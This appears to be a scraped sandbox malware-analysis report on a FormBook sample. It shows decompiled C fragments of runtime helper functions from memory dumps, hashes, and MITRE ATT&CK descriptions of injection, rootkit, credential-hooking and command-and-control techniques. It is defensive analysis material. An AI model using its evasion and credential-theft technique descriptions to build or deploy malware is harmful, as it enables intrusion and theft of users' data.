				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E02D3EB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x02d535a1
0x02d535a1
0x02d535a5
0x02d535ab
0x02d535ab
0x02d535b5
0x00000000
0x02d535c1
0x02d535b7

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: 2a270322e4a963fc5d58dbd360720b0b1191e82469cf4c663f30abeae1118b88
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: D1D0C73155119499DF92AB60C53476877B2FF10298F5830D5984745751C3B58D59D601

Uniqueness

Uniqueness Score: -1.00%

Function 02D2DB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D2DB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L02D44620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x02d2db4d
0x02d2db54
0x02d2db5f
0x02d2db56
0x02d2db56
0x02d2db5c
0x02d2db5c

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 729b22d3766880627ed78ec1f14206f843d80ca5160cc5aa766dd3728be6689b
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: F5C08C30280A40ABEB222F20CD01B4036A2BB20B09F4400A0A300DA0F0DB78DC01EA10

Uniqueness

Uniqueness Score: -1.00%

Function 02DAA537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02DAA537(intOrPtr _a4, intOrPtr _a8) {

				return L02D48E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x02daa553

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 360f5a0273dccb9eafc0355af4de3a10b7b0d61bc668f813d9cb67b7a01b8d50
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: 78C01232080248BBCB126E81CC00F067B2AEB94BA0F008020BA080A6608A32E970EA94

Uniqueness

Uniqueness Score: -1.00%

Function 02D536CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D536CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L02D44620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x02d536d2
0x02d536e8
0x02d536d4
0x02d536e5
0x02d536e5

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: c12bfe03c09d431c5178f6e11c9fb155d7c2a30bbedc4ee384a42e5f0e11e16b
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: 05C09BB51554C0BBDB156F30CD51F557295F740B61F6407987221456F0DA699C40E614

Uniqueness

Uniqueness Score: -1.00%

Function 02D376E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D376E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x02d376e4
0x00000000
0x02d376f8
0x02d376fd

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 0fee1da4620ec890b332c9e132fe853ed906a6cdd1be8d072bbe4e6129510916
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 5AC08CB21419C05BFB2B5708CE30F20B650AB08708F88019CAA01296A2C368AC02C608

Uniqueness

Uniqueness Score: -1.00%

Function 02D43A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D43A1C(intOrPtr _a4) {
				void* _t5;

				return L02D44620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x02d43a35

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: 44cd34295ae7481242f0bf701f692519702c21c2f1b37a1dc4d41d25d5fe1538
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 87C04C32180688BBC7126F45DD01F557B6AE794B60F154021B6040A6618976EDA1D998

Uniqueness

Uniqueness Score: -1.00%

Function 02D2AD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D2AD30(intOrPtr _a4) {

				return L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x02d2ad49

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: bbe35f8b4a618d72044764fd208adfed6fc4e54d1bdaa3cc8eb2c3e0a565a3d1
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: C0C08C32080248BBC7126A45CD00F01BB2AE790B60F000020F6040A6618A32EC60D998

Uniqueness

Uniqueness Score: -1.00%

Function 02D47D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D47D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x02d47d56
0x02d47d5b
0x02d47d60
0x02d47d5d
0x02d47d5d
0x02d47d5d

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: d5cc199901c88b9391c3561ba372d3f77cd98dace83225637638783e8f121f37
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: D5B09234311940CFDE16DF28C080B1573E4BB44A40B8400D0E400CBA20D329E800C900

Uniqueness

Uniqueness Score: -1.00%

Function 02DBFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E02DBFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E02D6CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E02DB5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E02DB5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x02dbfdda
0x02dbfde2
0x02dbfde5
0x02dbfdec
0x02dbfdfa
0x02dbfdff
0x02dbfe0a
0x02dbfe0f
0x02dbfe17
0x02dbfe1e
0x02dbfe19
0x02dbfe19
0x02dbfe19
0x02dbfe20
0x02dbfe21
0x02dbfe22
0x02dbfe25
0x02dbfe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02DBFDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 02DBFE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 02DBFE2B

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 42ed9273177e17af746b7c6ae2fe94f7f3e352ccad4fd69d5778dfd6b09a3104
Instruction ID: 16b1371c3969a55dc3a0cf4821dc929a9dae481da02879cea9e19924ac7365ed
Opcode Fuzzy Hash: 42ed9273177e17af746b7c6ae2fe94f7f3e352ccad4fd69d5778dfd6b09a3104
Instruction Fuzzy Hash: 84F0C236200201BFE6221A95EC06E73BB6BEF45730F140215F66956AD1DA63FC30C6B4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 6KdTCZit4e.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Function 00419E10, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON